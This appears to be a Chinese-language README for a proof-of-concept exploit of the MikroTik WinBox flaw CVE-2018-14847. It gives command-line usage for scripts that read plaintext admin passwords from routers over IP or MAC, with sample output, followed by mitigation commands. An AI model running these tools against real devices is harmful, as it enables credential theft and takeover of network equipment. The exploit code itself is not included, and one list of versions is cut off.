这是针对严重WinBox漏洞(CVE-2018-14847)的概念验证,该漏洞允许任意文件读取明文密码。
此脚本不支持Python 2.x或更低版本运行。
脚本使用很简单,只需在命令行中提供简单的参数。
利用漏洞并读取密码。
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
示例:
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord
即使设备没有IP地址,你也可以提取文件。
本地连接的MikroTik设备的简单发现检查。
python3 MACServerDiscover.py
示例:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
利用漏洞并读取密码。
python3 MACServerExploit.py <MAC-ADDRESS>
示例:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
2015-05-28至2018-04-20期间的所有RouterOS版本都受此漏洞影响。
运行以下RouterOS版本的MikroTik设备:
更多信息请参阅:https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox